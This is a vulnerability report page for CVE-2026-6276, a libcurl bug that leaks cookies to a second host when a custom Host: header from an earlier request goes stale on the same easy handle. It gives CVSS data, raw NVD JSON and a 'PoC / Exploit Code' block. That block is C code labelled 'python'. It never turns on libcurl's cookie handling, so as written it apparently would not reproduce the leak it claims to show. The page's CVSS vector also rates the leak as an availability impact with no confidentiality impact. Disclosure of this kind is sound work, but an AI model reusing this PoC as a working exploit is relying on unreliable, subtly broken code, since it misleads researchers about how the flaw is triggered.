Security Vulnerability Report
中文
CVE-2026-6276 CVSS 7.5 HIGH

CVE-2026-6276

Published: 2026-05-13 13:01:57
Last Modified: 2026-05-14 14:21:07
Source: 2499f714-1537-4658-8207-48ae4bb9eae9

Description

Using libcurl, when a custom `Host:` header is first set for an HTTP request and a second request is subsequently done using the same *easy handle* but without the custom `Host:` header set, the second request would use stale information and pass on cookies meant for the first host in the second request. Leak them.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:* - VULNERABLE
libcurl (具体受影响版本请参考官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init(); if(curl) { // Step 1: First request to Host A with custom Host header curl_easy_setopt(curl, CURLOPT_URL, "http://host-a.com/login"); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Host: malicious-host.com"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Assume the server sets a cookie for 'malicious-host.com' res = curl_easy_perform(curl); // Clear headers for the next request context (simulating the bug scenario) curl_slist_free_all(headers); headers = NULL; // Step 2: Second request to Host B without custom Host header // Vulnerability: Cookies from the first request (associated with the custom Host) // are leaked to this new request due to stale handle state. curl_easy_setopt(curl, CURLOPT_URL, "http://host-b.com/data"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, NULL); // No custom host header here // The server at host-b.com receives cookies meant for malicious-host.com res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6276", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-05-13T13:01:56.800", "lastModified": "2026-05-14T14:21:06.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Using libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.71.0", "versionEndExcluding": "8.20.0", "matchCriteriaId": "4F8139D4-8C72-4D4D-BD15-A64E8818AED1"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2026-6276.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://curl.se/docs/CVE-2026-6276.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Product"]}, {"url": "https://hackerone.com/reports/3671818", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/13", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3671818", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}